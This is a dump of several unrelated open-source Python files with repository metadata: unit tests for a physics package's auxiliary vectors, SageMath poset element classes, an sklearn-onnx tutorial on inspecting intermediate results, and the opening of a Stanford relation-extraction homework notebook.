known_values = np.array([1, 1])\n    assert np.array_equal(values, known_values)\n\n\ndef test_compare_if():\n    \"\"\"\n    This function test whether _compare is properly comparing auxiliary vectors by\n    testing whether one vector is less than another\n    \"\"\"\n    aux_1010 = AuxiliaryVector([(0, 1), (2, 1)], 4)\n    aux_1000 = AuxiliaryVector([(0, 1)], 4)\n    flag = aux_1010._compare(aux_1000, lambda s, o: s > o)\n    assert flag == True\n\n\ndef test_compare_else():\n    \"\"\"\n    This function test to make sure you cannot compare an Auxiliary Vector to another\n    type\n    \"\"\"\n    aux_1010 = AuxiliaryVector([(0, 1), (2, 1)], 4)\n    known_aux = [(1, 0, 1, 0)]\n    flag = aux_1010._compare(known_aux, lambda s, o: s > o)\n    assert flag == False\n\n\ndef test_dot():\n    \"\"\"\n    This function test to make sure the correct dot product value is given when using\n    the dot function\n    \"\"\"\n    vector = np.array([1, 1, 1, 1])\n    aux_1234 = AuxiliaryVector([(0, 1), (1, 2), (2, 3), (3, 4)], 4)\n    known_value = 10\n    dot_value = aux_1234.dot(vector)\n    assert dot_value == known_value\n\n\ndef test_sum():\n    \"\"\"\n    This function test to make sure the values are properly being summed\n    \"\"\"\n    aux_array = [(0, 1), (2, 1), (4, 2)]\n    n_mod = 6\n    aux_101020 = AuxiliaryVector(aux_array, n_mod)\n    aux_sum = aux_101020.sum()\n    known_sum = 4\n    assert aux_sum == known_sum\n    # np.sum test\n    known_np_sum = 4\n    aux_np_sum = np.sum(aux_101020)\n    assert aux_np_sum == known_np_sum\n\n\ndef test_todense():\n    \"\"\"\n    This function test that a sparse vector is properly being made dense\n    \"\"\"\n    aux_101010 = AuxiliaryVector([(0, 1), (2, 1), (4, 1)], 6)\n    aux_101010 = aux_101010.todense()\n    known_aux = (1, 0, 1, 0, 1, 0)\n    assert tuple(aux_101010) == known_aux\n\n\ndef test_toarray():\n    \"\"\"\n    This function test that a sparse vector is properly being arranged into an array\n    \"\"\"\n    aux_010101 = AuxiliaryVector([(1, 1), (3, 1), (5, 1)], 6)\n    aux_010101 = aux_010101.toarray()\n    known_array = np.array([[1, 1], [3, 1], [5, 1]])\n    assert np.array_equal(aux_010101, known_array)\n\n\ndef test_get_values():\n    \"\"\"\n    This function test whether the correct sub-indexed values are being grabbed by\n    the get_values function\n    \"\"\"\n    aux_101010 = AuxiliaryVector([(0, 1), (2, 1), (4, 1)], 6)\n    values = aux_101010.get_values([4, 5])\n    known_values = np.array([1, 0])\n    assert np.array_equal(values, known_values)\n\n\ndef test_get_values_nonzero():\n    \"\"\"\n    This function test whether the correct sub-indexed nonzero values are being grabbed\n    by the get_values_nonzero function\n    \"\"\"\n    aux_101010 = AuxiliaryVector([(0, 1), (2, 1), (4, 1)], 6)\n    values = aux_101010.get_values_nonzero([2, 3, 4, 5])\n    known_values = np.array([1, 1])\n    assert np.array_equal(values, known_values)\n\n\ndef test_hash_from_estep():\n    \"\"\"\n    This function test that the returns the hash of a new Auxiliary Vector\n    with the desired step in the given mode is the correct hash\n    \"\"\"\n    # Define constants\n    aux_2000 = AuxiliaryVector([(0, 2)], 4)\n    aux_1001 = AuxiliaryVector([(0, 1), (3, 1)], 4)\n    aux_1011 = AuxiliaryVector([(0, 1), (2, 1), (3, 1)], 4)\n    aux_1000 = AuxiliaryVector([(0, 1)], 4)\n    aux_0000 = AuxiliaryVector([], 4)\n    hash_m1 = hash(((0, -1),))\n\n    # test when step = 0\n    assert aux_1000.hash == aux_1000.hash_from_e_step(3, 0)\n    assert aux_0000.hash == aux_0000.hash_from_e_step(0, 0)\n    assert aux_1011.hash == aux_1011.hash_from_e_step(2, 0)\n\n    # test when step = 1\n    assert aux_1001.hash == aux_1000.hash_from_e_step(3, 1)\n    assert aux_2000.hash == aux_1000.hash_from_e_step(0, 1)\n    assert aux_1000.hash == aux_0000.hash_from_e_step(0, 1)\n    assert aux_1011.hash == aux_1001.hash_from_e_step(2, 1)\n\n    # test when step = -1\n    assert hash_m1 == aux_0000.hash_from_e_step(0, -1)\n    assert aux_0000.hash == aux_1000.hash_from_e_step(0, -1)\n    assert aux_1000.hash == aux_2000.hash_from_e_step(0, -1)\n    assert aux_1000.hash == aux_1001.hash_from_e_step(3, -1)\n    assert aux_1001.hash == aux_1011.hash_from_e_step(2, -1)\n\n\ndef test_e_step():\n    \"\"\"\n    This function test whether e_step returns a new Auxiliary Vector with the desired\n     step in the given mode\n    \"\"\"\n    # Define constants\n    aux_2000 = AuxiliaryVector([(0, 2)], 4)\n    aux_1001 = AuxiliaryVector([(0, 1), (3, 1)], 4)\n    aux_1000 = AuxiliaryVector([(0, 1)], 4)\n    aux_1011 = AuxiliaryVector([(0, 1), (2, 1), (3, 1)], 4)\n    aux_0000 = AuxiliaryVector([], 4)\n    Aux_m1 = AuxiliaryVector([(0, -1)], 4)\n\n    # test when step = 0\n    assert aux_1000 == aux_1000.e_step(3, 0)\n    assert aux_0000 == aux_0000.e_step(0, 0)\n    assert aux_1011 == aux_1011.e_step(2, 0)\n\n    # test when step = 1\n    assert aux_1001 == aux_1000.e_step(3, 1)\n    assert aux_2000 == aux_1000.e_step(0, 1)\n    assert aux_1000 == aux_0000.e_step(0, 1)\n    assert aux_1011 == aux_1001.e_step(2, 1)\n\n    # test when step = -1\n    assert Aux_m1 == aux_0000.e_step(0, -1)\n    assert aux_0000 == aux_1000.e_step(0, -1)\n    assert aux_1000 == aux_2000.e_step(0, -1)\n    assert aux_1000 == aux_1001.e_step(3, -1)\n    assert aux_1001 == aux_1011.e_step(2, -1)\n\n\ndef test_index_analytic():\n    \"\"\"\n    This function provides a test to ensure an absolute index value is returned\n    for an auxiliary vector using an analytic function of the indices\n    \"\"\"\n    aux = AuxiliaryVector([(0, 1), (2, 1)], 4)\n    # known result based on alpha numerical ordering\n    known_ind = 7\n    assert aux.absolute_index == known_ind\n\n\ndef test_tuple_from_e_step():\n    \"\"\"\n    Test whether tuple_from_e_step returns the sparse correct tuple representation of\n    the auxiliary\n    \"\"\"\n    # Constants\n    aux_0101 = AuxiliaryVector([(1, 1), (3, 1)], 4)\n    aux_1010 = AuxiliaryVector([(0, 1), (2, 1)], 4)\n    aux_1000 = AuxiliaryVector([(0, 1)], 4)\n    aux_0000 = AuxiliaryVector([], 4)\n    aux_empty = AuxiliaryVector([], 4)\n\n    # test when step = 0\n    known_1000 = ((0, 1),)\n    known_0000 = ()\n    assert known_1000 == aux_1000.tuple_from_e_step(2, 0)\n    assert known_0000 == aux_0000.tuple_from_e_step(0, 0)\n\n    # test when mode + step < 0\n    known_tuple = ((0, -1),)\n    assert known_tuple == aux_0000.tuple_from_e_step(0, -1)\n\n    # test when len(self.dict_aux_vec) == 0\n    known_tuple = ((1, 1),)\n    assert known_tuple == aux_empty.tuple_from_e_step(1, 1)\n\n    # test when mode is in array_aux_vec[:, 0] and mode + step = 0\n    known_tuple = ((3, 1),)\n    assert known_tuple == aux_0101.tuple_from_e_step(1, -1)\n\n    # test when mode is in array_aux_vec[:, 0]\n    known_tuple = ((1, 2), (3, 1))\n    assert known_tuple == aux_0101.tuple_from_e_step(1, 1)\n\n    # test else\n    known_tuple = ((0, 1), (2, 1), (3, 1))\n    assert known_tuple == aux_1010.tuple_from_e_step(3, 1)\n\n\ndef test_add_aux_connect():\n    \"\"\"\n    Test whether add_aux_connect updates the HopsAux object to contain a pointer to the\n    other HopsAux objects it is connected to.\n    \"\"\"\n    # Define Constants\n    aux_1001 = AuxiliaryVector([(0, 1), (3, 1)], 4)\n    aux_1011 = AuxiliaryVector([(0, 1), (2, 1), (3, 1)], 4)\n    aux_1000 = AuxiliaryVector([(0, 1)], 4)\n    aux_1002 = AuxiliaryVector([(0, 1), (3, 2)], 4)\n\n    # Test when type == 1\n    aux_1001.add_aux_connect(2, aux_1011, 1)\n    assert aux_1001.dict_aux_p1[2] == aux_1011\n\n    # Test when type == -1\n    aux_1001.add_aux_connect(3, aux_1000, -1)\n    assert aux_1001.dict_aux_m1[3] == aux_1000\n\n    # # Test when type != +/- 1\n    with pytest.raises(AuxError) as excinfo:\n        aux_1002.add_aux_connect(3, aux_1000, 2)\n        assert 'There is a problem in the hierarchy: add_aux_connect does not support ' \\\n               'type=2' in str(excinfo.value)\n\n\ndef test_remove_aux_connect():\n    \"\"\"\n    Test whether the remove_aux_connect function removes the connection between the\n    HopsAux object and another connected with type (+1/-1) along index mode.\n    \"\"\"\n\n    # Define Constants\n    aux_1001 = AuxiliaryVector([(0, 1), (3, 1)], 4)\n    aux_1011 = AuxiliaryVector([(0, 1), (2, 1), (3, 1)], 4)\n    aux_1000 = AuxiliaryVector([(0, 1)], 4)\n\n    # Test when type == 1\n    aux_1001.add_aux_connect(2, aux_1011, 1)\n    aux_1001.remove_aux_connect(2, 1)\n    assert aux_1001.dict_aux_p1 == {}\n\n    # Test when type == -1\n    aux_1001.add_aux_connect(3, aux_1000, -1)\n    aux_1001.remove_aux_connect(3, -1)\n    assert aux_1001.dict_aux_m1 == {}\n\n    # Test when type != +/- 1\n    with pytest.raises(AuxError) as excinfo:\n        aux_1001.remove_aux_connect(3, 2)\n        assert 'There is a problem in the hierarchy: remove_aux_connect does not ' \\\n               'support ' \\\n               'type=2' in str(excinfo.value)\n\n\ndef test_remove_pointers():\n    \"\"\"\n    This will test if the remove_pointers function removes all pointers targeting the\n    current HopsAux object from the set of HopsAux objects it has connections to.\n    \"\"\"\n\n    # Define Constants\n    aux_1012 = AuxiliaryVector([(0, 1), (2, 1), (3, 2)], 4)\n    aux_1011 = AuxiliaryVector([(0, 1), (2, 1), (3, 1)], 4)\n    aux_1010 = AuxiliaryVector([(0, 1), (2, 1)], 4)\n\n    # Test with both +/- 1 additions\n    aux_1011.add_aux_connect(3, aux_1012, 1)\n    aux_1011.add_aux_connect(3, aux_1010, -1)\n    aux_1012.add_aux_connect(3,aux_1011,-1)\n    aux_1010.add_aux_connect(3,aux_1011,1)\n    aux_1011.remove_pointers()\n    assert aux_1011.dict_aux_p1 == {}\n    assert aux_1011.dict_aux_m1 == {}\n    assert aux_1012.dict_aux_m1 == {}\n    assert aux_1010.dict_aux_p1 == {}\n\n\ndef test_difference_by_mode():\n    \"\"\"\n    This test will ensure that the difference_by_mode function is returning the\n    correct mode in which one HopsAux object differs by another HopsAux object, if the\n    difference is only 1 step. This function will also test that an error is called\n    if the two objects differ by more than 1 step.\n    \"\"\"\n\n    # Define Constants\n    aux_1012 = AuxiliaryVector([(0, 1), (2, 1), (3, 2)], 4)\n    aux_3012 = AuxiliaryVector([(0, 3), (2, 1), (3, 2)], 4)\n    aux_2012 = AuxiliaryVector([(0, 2), (2, 1), (3, 2)], 4)\n    aux_1112 = AuxiliaryVector([(0, 1), (1, 1), (2, 1), (3, 2)], 4)\n    aux_1022 = AuxiliaryVector([(0, 1), (2, 2), (3, 2)], 4)\n    aux_1013 = AuxiliaryVector([(0, 1), (2, 1), (3, 3)], 4)\n    aux_10130 = AuxiliaryVector([(0, 1), (2, 1), (3, 3)], 5)\n\n    # Test mode 0\n    difference_0 = aux_1012.difference_by_mode(aux_3012)\n    assert difference_0 is False\n\n    # Test mode 1\n    difference_1 = aux_1012.difference_by_mode(aux_1112)\n    assert difference_1 == [1]\n\n    # Test mode 2\n    difference_2 = aux_1012.difference_by_mode(aux_1022)\n    assert difference_2 == [2]\n\n    # Test mode 3\n    difference_3 = aux_1012.difference_by_mode(aux_1013)\n    assert difference_3 == [3]\n\n    # Test when mode of difference is more than one\n    difference_many = aux_2012.difference_by_mode(aux_1112)\n    assert difference_many is False\n\n    # Test when the two HopsAux objects don't belong to the same hierarchy\n    with pytest.raises(AssertionError):\n        aux_10130.difference_by_mode(aux_1013)\n", "meta": {"hexsha": "5b5f4e4d49b734d46eb681fe832ac8ec91bfce76", "size": 12097, "ext": "py", "lang": "Python", "max_stars_repo_path": "mesohops/testing/test_hops_aux.py", "max_stars_repo_name": "MesoscienceLab/mesohops", "max_stars_repo_head_hexsha": "b845dc61e65af158382a47c4894c3875e05f09e1", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 7, "max_stars_repo_stars_event_min_datetime": "2020-08-17T03:39:42.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-10T22:55:55.000Z", "max_issues_repo_path": "mesohops/testing/test_hops_aux.py", "max_issues_repo_name": "MesoscienceLab/mesohops", "max_issues_repo_head_hexsha": "b845dc61e65af158382a47c4894c3875e05f09e1", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "mesohops/testing/test_hops_aux.py", "max_forks_repo_name": "MesoscienceLab/mesohops", "max_forks_repo_head_hexsha": "b845dc61e65af158382a47c4894c3875e05f09e1", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-07-26T02:11:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-07-26T02:11:16.000Z", "avg_line_length": 33.1424657534, "max_line_length": 89, "alphanum_fraction": 0.647515913, "include": true, "reason": "import numpy", "num_tokens": 3895, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43014736319616964, "lm_q2_score": 0.1645164710892692, "lm_q1q2_score": 0.07076632624138803}}
{"text": "r\"\"\"\nElements of posets, lattices, semilattices, etc.\n\"\"\"\n#*****************************************************************************\n#       Copyright (C) 2008 Peter Jipsen <jipsen@chapman.edu>,\n#                          Franco Saliola <saliola@gmail.com>\n#\n#  Distributed under the terms of the GNU General Public License (GPL)\n#\n#    This code is distributed in the hope that it will be useful,\n#    but WITHOUT ANY WARRANTY; without even the implied warranty of\n#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n#    General Public License for more details.\n#\n#  The full text of the GPL is available at:\n#\n#                  http://www.gnu.org/licenses/\n#*****************************************************************************\nfrom sage.structure.element import Element\nfrom sage.structure.element import have_same_parent\n\n\nclass PosetElement(Element):\n\n    def __init__(self, poset, element, vertex):\n        r\"\"\"\n        Establish the parent-child relationship between ``poset``\n        and ``element``, where ``element`` is associated to the\n        vertex ``vertex`` of the Hasse diagram of the poset.\n\n        INPUT:\n\n        - ``poset`` -- a poset object\n\n        - ``element`` -- any object\n\n        - ``vertex`` -- a vertex of the Hasse diagram of the poset\n\n        TESTS::\n\n            sage: from sage.combinat.posets.elements import PosetElement\n            sage: P = Poset([[1,2],[4],[3],[4],[]], facade = False)\n            sage: e = P(0)\n            sage: e.parent() is P\n            True\n            sage: TestSuite(e).run()\n        \"\"\"\n        Element.__init__(self, poset)\n        if isinstance(element, self.parent().element_class):\n            self.element = element.element\n        else:\n            self.element = element\n        self.vertex = vertex\n\n    def __hash__(self):\n        r\"\"\"\n        TESTS::\n\n            sage: P = Poset([[1,2],[4],[3],[4],[]], facade = False)\n            sage: e = P(0)\n            sage: hash(e)\n            0\n        \"\"\"\n        return hash(self.element)\n\n    def _repr_(self):\n        \"\"\"\n        TESTS::\n\n            sage: Poset([[1,2],[4],[3],[4],[]], facade = False)(0)._repr_()\n            '0'\n        \"\"\"\n        return \"%s\" % str(self.element)\n\n    def _latex_(self):\n        r\"\"\"\n        Return the latex code of the poset element.\n\n        EXAMPLES::\n\n            sage: m = matrix(2,[1,2,3,4])\n            sage: m.set_immutable()\n            sage: P = Poset(([m],[]), facade = False)\n            sage: [e] = P\n            sage: type(e)\n            <class 'sage.combinat.posets.posets.FinitePoset_with_category.element_class'>\n            sage: latex(e)                 #indirect doctest\n            \\left(\\begin{array}{rr}\n            1 & 2 \\\\\n            3 & 4\n            \\end{array}\\right)\n        \"\"\"\n        from sage.misc.latex import latex\n        return latex(self.element)\n\n    def __eq__(self, other):\n        \"\"\"\n        TESTS::\n\n            sage: P = Poset([[\"a\",\"b\"],[\"d\"],[\"c\"],[\"d\"],[]], facade = False)\n            sage: Q = Poset([[\"a\",\"b\"],[\"d\"],[\"c\"],[],[]], facade = False)\n            sage: P(0).__eq__(P(4))\n            False\n            sage: from sage.combinat.posets.elements import PosetElement\n            sage: PosetElement(P,0,\"c\") == PosetElement(P,0,\"c\")\n            True\n            sage: PosetElement(P,0,\"c\") == PosetElement(Q,0,\"c\")\n            False\n            sage: PosetElement(P,0,\"b\") == PosetElement(P,0,\"c\")\n            False\n\n        .. warning:: as an optimization, this only compares the parent\n           and vertex, using the invariant that, in a proper poset\n           element, ``self.element == other.element`` if and only\n           ``self.vertex == other.vertex``::\n\n            sage: PosetElement(P,1,\"c\") == PosetElement(P,0,\"c\")\n            True\n\n        Test that :trac:`12351` is fixed::\n\n            sage: P(0) == int(0)\n            False\n        \"\"\"\n        # This should instead exploit unique representation, using\n        # self is other, or best inherit __eq__ from there. But there\n        # are issues around pickling and rich comparison functions.\n        return have_same_parent(self, other) \\\n            and self.vertex == other.vertex\n\n    def __ne__(self, other):\n        r\"\"\"\n        TESTS::\n\n            sage: P = Poset([[1,2],[4],[3],[4],[]])\n            sage: P = Poset([[\"a\",\"b\"],[\"d\"],[\"c\"],[\"d\"],[]])\n            sage: P(0).__ne__(P(4))\n            True\n            sage: from sage.combinat.posets.elements import PosetElement\n            sage: PosetElement(P,0,\"c\") != PosetElement(P,0,\"c\")\n            False\n            sage: PosetElement(P,0,\"b\") != PosetElement(P,0,\"c\")\n            True\n\n        For this one, see comment in :meth:`__eq__`::\n\n            sage: PosetElement(P,1,\"c\") != PosetElement(P,0,\"c\")\n            False\n        \"\"\"\n        return not self == other\n\n    def _cmp(self, other):\n        \"\"\"\n        TESTS::\n\n            sage: P = Poset([[1,2],[4],[3],[4],[]], facade = False)\n            sage: P(0)._cmp(P(4))\n            -1\n            sage: P(4)._cmp(P(0))\n            1\n            sage: P(0)._cmp(P(0))\n            0\n            sage: P(1)._cmp(P(2))\n\n        \"\"\"\n        return self.parent().compare_elements(self, other)\n\n    def __lt__(self, other):\n        \"\"\"\n        TESTS\n\n        ::\n\n            sage: dag = DiGraph({0:[2,3], 1:[3,4], 2:[5], 3:[5], 4:[5]})\n            sage: P = Poset(dag, facade = False)\n            sage: P(0) < P(1)\n            False\n            sage: P(4) < P(1)\n            False\n            sage: P(0) < P(0)\n            False\n        \"\"\"\n        return self._cmp(other) == -1 or False\n\n    def __le__(self, other):\n        \"\"\"\n        TESTS\n\n        ::\n\n            sage: dag = DiGraph({0:[2,3], 1:[3,4], 2:[5], 3:[5], 4:[5]})\n            sage: P = Poset(dag, facade = False)\n            sage: P(1) <= P(0)\n            False\n            sage: P(0) <= P(1)\n            False\n            sage: P(0) <= P(3)\n            True\n            sage: P(0) <= P(0)\n            True\n        \"\"\"\n        return self == other or self._cmp(other) == -1 or False\n\n    def __gt__(self, other):\n        \"\"\"\n        TESTS\n\n        ::\n\n            sage: dag = DiGraph({0:[2,3], 1:[3,4], 2:[5], 3:[5], 4:[5]})\n            sage: P = Poset(dag)\n            sage: P(0).__gt__(P(5))\n            False\n            sage: P(5).__gt__(P(0))\n            True\n            sage: P(0).__gt__(P(0))\n            False\n        \"\"\"\n        return self._cmp(other) == 1 or False\n\n    def __ge__(self, other):\n        \"\"\"\n        TESTS\n\n        ::\n\n            sage: dag = DiGraph({0:[2,3], 1:[3,4], 2:[5], 3:[5], 4:[5]})\n            sage: P = Poset(dag)\n            sage: P(0).__ge__(P(5))\n            False\n            sage: P(5).__ge__(P(0))\n            True\n            sage: P(0).__ge__(P(0))\n            True\n        \"\"\"\n        return self == other or self._cmp(other) == 1 or False\n\n\nclass MeetSemilatticeElement(PosetElement):\n    def __mul__(self, other):\n        r\"\"\"\n        Return the meet of ``self`` and ``other`` in the lattice.\n\n        EXAMPLES::\n\n            sage: D = posets.DiamondPoset(5,facade=False)\n            sage: D(1) * D(2)\n            0\n            sage: D(1) * D(1)\n            1\n            sage: D(1) * D(0)\n            0\n            sage: D(1) * D(4)\n            1\n        \"\"\"\n        return self.parent().meet(self, other)\n\n\nclass JoinSemilatticeElement(PosetElement):\n    def __add__(self, other):\n        r\"\"\"\n        Return the join of ``self`` and ``other`` in the lattice.\n\n        EXAMPLES::\n\n            sage: D = posets.DiamondPoset(5,facade=False)\n            sage: D(1) + D(2)\n            4\n            sage: D(1) + D(1)\n            1\n            sage: D(1) + D(4)\n            4\n            sage: D(1) + D(0)\n            1\n        \"\"\"\n        return self.parent().join(self, other)\n\n\nclass LatticePosetElement(MeetSemilatticeElement, JoinSemilatticeElement):\n    pass\n", "meta": {"hexsha": "fc0c98e118d92145677e23f936dc46ea7f3f374e", "size": 7912, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/combinat/posets/elements.py", "max_stars_repo_name": "bopopescu/sage", "max_stars_repo_head_hexsha": "2d495be78e0bdc7a0a635454290b27bb4f5f70f0", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2020-07-17T04:49:44.000Z", "max_stars_repo_stars_event_max_datetime": "2020-07-29T06:33:51.000Z", "max_issues_repo_path": "src/sage/combinat/posets/elements.py", "max_issues_repo_name": "Ivo-Maffei/sage", "max_issues_repo_head_hexsha": "467fbc70a08b552b3de33d9065204ee9cbfb02c7", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2018-10-30T13:40:20.000Z", "max_issues_repo_issues_event_max_datetime": "2020-07-23T12:13:30.000Z", "max_forks_repo_path": "src/sage/combinat/posets/elements.py", "max_forks_repo_name": "dimpase/sage", "max_forks_repo_head_hexsha": "468f23815ade42a2192b0a9cd378de8fdc594dcd", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": 7, "max_forks_repo_forks_event_min_datetime": "2021-11-08T10:01:59.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-03T11:25:52.000Z", "avg_line_length": 28.1565836299, "max_line_length": 89, "alphanum_fraction": 0.4634732053, "include": true, "reason": "from sage", "num_tokens": 2142, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43014734858584286, "lm_q2_score": 0.16451646494473965, "lm_q1q2_score": 0.07076632119469552}}
{"text": "# SPDX-License-Identifier: Apache-2.0\n\n\"\"\"\nIntermediate results and investigation\n======================================\n\n.. index:: investigate, intermediate results\n\nThere are many reasons why a user wants more than using\nthe converted model into ONNX. Intermediate results may be\nneeded, the output of every node in the graph. The ONNX\nmay need to be altered to remove some nodes.\nTransfer learning is usually removing the last layers of\na deep neural network. Another reaason is debugging.\nIt often happens that the runtime fails to compute the predictions\ndue to a shape mismatch. Then it is useful the get the shape\nof every intermediate result. This example looks into two\nways of doing it.\n\n.. contents::\n    :local:\n\nLook into pipeline steps\n++++++++++++++++++++++++\n\nThe first way is a tricky one: it overloads\nmethods *transform*, *predict* and *predict_proba*\nto keep a copy of inputs and outputs. It then goes\nthrough every step of the pipeline. If the pipeline\nhas *n* steps, it converts the pipeline with step 1,\nthen the pipeline with steps 1, 2, then 1, 2, 3...\n\"\"\"\nfrom pyquickhelper.helpgen.graphviz_helper import plot_graphviz\nfrom mlprodict.onnxrt import OnnxInference\nimport numpy\nfrom onnxruntime import InferenceSession\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.cluster import KMeans\nfrom sklearn.datasets import load_iris\nfrom skl2onnx import to_onnx\nfrom skl2onnx.helpers import collect_intermediate_steps\nfrom skl2onnx.common.data_types import FloatTensorType\n\n###########################\n# The pipeline.\n\ndata = load_iris()\nX = data.data\n\npipe = Pipeline(steps=[\n    ('std', StandardScaler()),\n    ('km', KMeans(3))\n])\npipe.fit(X)\n\n#################################\n# The function goes through every step,\n# overloads the methods *transform* and\n# returns an ONNX graph for every step.\nsteps = collect_intermediate_steps(\n    pipe, \"pipeline\",\n    [(\"X\", FloatTensorType([None, X.shape[1]]))])\n\n#####################################\n# We call method transform to population the\n# cache the overloaded methods *transform* keeps.\npipe.transform(X)\n\n#######################################\n# We compute every step and compare\n# ONNX and scikit-learn outputs.\n\nfor step in steps:\n    print('----------------------------')\n    print(step['model'])\n    onnx_step = step['onnx_step']\n    sess = InferenceSession(onnx_step.SerializeToString())\n    onnx_outputs = sess.run(None, {'X': X.astype(numpy.float32)})\n    onnx_output = onnx_outputs[-1]\n    skl_outputs = step['model']._debug.outputs['transform']\n\n    # comparison\n    diff = numpy.abs(skl_outputs.ravel() - onnx_output.ravel()).max()\n    print(\"difference\", diff)\n\n# That was the first way: dynamically overwrite\n# every method transform or predict in a scikit-learn\n# pipeline to capture the input and output of every step,\n# compare them to the output produced by truncated ONNX\n# graphs built from the first one.\n#\n#####################################\n# Python runtime to look into every node\n# ++++++++++++++++++++++++++++++++++++++\n#\n# The python runtime may be useful to easily look\n# into every node of the ONNX graph.\n# This option can be used to check when the computation\n# fails due to nan values or a dimension mismatch.\n\n\nonx = to_onnx(pipe, X[:1].astype(numpy.float32))\n\noinf = OnnxInference(onx)\noinf.run({'X': X[:2].astype(numpy.float32)},\n         verbose=1, fLOG=print)\n\n###################################\n# And to get a sense of the intermediate results.\n\noinf.run({'X': X[:2].astype(numpy.float32)},\n         verbose=3, fLOG=print)\n\n# This way is usually better if you need to investigate\n# issues within the code of the runtime for an operator.\n#\n#################################\n# Final graph\n# +++++++++++\n\nax = plot_graphviz(oinf.to_dot())\nax.get_xaxis().set_visible(False)\nax.get_yaxis().set_visible(False)\n", "meta": {"hexsha": "83fee144b70f8a289638d9bfc4f37456cdf94f82", "size": 3872, "ext": "py", "lang": "Python", "max_stars_repo_path": "docs/tutorial/plot_fbegin_investigate.py", "max_stars_repo_name": "xiaowuhu/sklearn-onnx", "max_stars_repo_head_hexsha": "e85674a67a0a043e19c2ffe181e5d31eca8ce40b", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 323, "max_stars_repo_stars_event_min_datetime": "2018-12-18T20:23:19.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-25T09:47:31.000Z", "max_issues_repo_path": "docs/tutorial/plot_fbegin_investigate.py", "max_issues_repo_name": "xiaowuhu/sklearn-onnx", "max_issues_repo_head_hexsha": "e85674a67a0a043e19c2ffe181e5d31eca8ce40b", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 408, "max_issues_repo_issues_event_min_datetime": "2019-01-02T12:16:10.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-21T14:01:28.000Z", "max_forks_repo_path": "docs/tutorial/plot_fbegin_investigate.py", "max_forks_repo_name": "xiaowuhu/sklearn-onnx", "max_forks_repo_head_hexsha": "e85674a67a0a043e19c2ffe181e5d31eca8ce40b", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 70, "max_forks_repo_forks_event_min_datetime": "2018-12-20T19:36:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-14T06:41:36.000Z", "avg_line_length": 30.976, "max_line_length": 69, "alphanum_fraction": 0.6732954545, "include": true, "reason": "import numpy", "num_tokens": 874, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4843800842769844, "lm_q2_score": 0.14608724704829565, "lm_q1q2_score": 0.07076175303704609}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Homework and bake-off: Relation extraction using distant supervision\n\n# In[ ]:\n\n\n__author__ = \"Bill MacCartney and Christopher Potts\"\n__version__ = \"CS224u, Stanford, Spring 2020\"\n\n\n# ## Contents\n# \n# 1. [Overview](#Overview)\n# 1. [Set-up](#Set-up)\n# 1. [Baselines](#Baselines)\n#   1. [Hand-build feature functions](#Hand-build-feature-functions)\n#   1. [Distributed representations](#Distributed-representations)\n# 1. [Homework questions](#Homework-questions)\n#   1. [Different model factory [1 points]](#Different-model-factory-[1-points])\n#   1. [Directional unigram features [1.5 points]](#Directional-unigram-features-[1.5-points])\n#   1. [The part-of-speech tags of the \"middle\" words [1.5 points]](#The-part-of-speech-tags-of-the-\"middle\"-words-[1.5-points])\n#   1. [Bag of Synsets [2 points]](#Bag-of-Synsets-[2-points])\n#   1. [Your original system [3 points]](#Your-original-system-[3-points])\n# 1. [Bake-off [1 point]](#Bake-off-[1-point])\n\n# ## Overview\n# \n# This homework and associated bake-off are devoted to developing really effective relation extraction systems using distant supervision. \n# \n# As with the previous assignments, this notebook first establishes a baseline system. The initial homework questions ask you to create additional baselines and suggest areas for innovation, and the final homework question asks you to develop an original system for you to enter into the bake-off.\n\n# ## Set-up\n# \n# See [the first notebook in this unit](rel_ext_01_task.ipynb#Set-up) for set-up instructions.\n\n# In[ ]:\n\n\nimport numpy as np\nimport os\nimport rel_ext\nfrom sklearn.linear_model import LogisticRegression\nimport utils\n\n\n# As usual, we unite our corpus and KB into a dataset, and create some splits for experimentation:\n\n# In[ ]:\n\n\nrel_ext_data_home = os.path.join('data', 'rel_ext_data')\n\n\n# In[ ]:\n\n\ncorpus = rel_ext.Corpus(os.path.join(rel_ext_data_home, 'corpus.tsv.gz'))\n\n\n# In[ ]:\n\n\nkb = rel_ext.KB(os.path.join(rel_ext_data_home, 'kb.tsv.gz'))\n\n\n# In[ ]:\n\n\ndataset = rel_ext.Dataset(corpus, kb)\n\n\n# You are not wedded to this set-up for splits. The bake-off will be conducted on a previously unseen test-set, so all of the data in `dataset` is fair game:\n\n# In[ ]:\n\n\nsplits = dataset.build_splits(\n    split_names=['tiny', 'train', 'dev'],\n    split_fracs=[0.01, 0.79, 0.20],\n    seed=1)\n\n\n# In[ ]:\n\n\nsplits\n\n\n# ## Baselines\n\n# ### Hand-build feature functions\n\n# In[ ]:\n\n\ndef simple_bag_of_words_featurizer(kbt, corpus, feature_counter):\n    for ex in corpus.get_examples_for_entities(kbt.sbj, kbt.obj):\n        for word in ex.middle.split(' '):\n            feature_counter[word] += 1\n  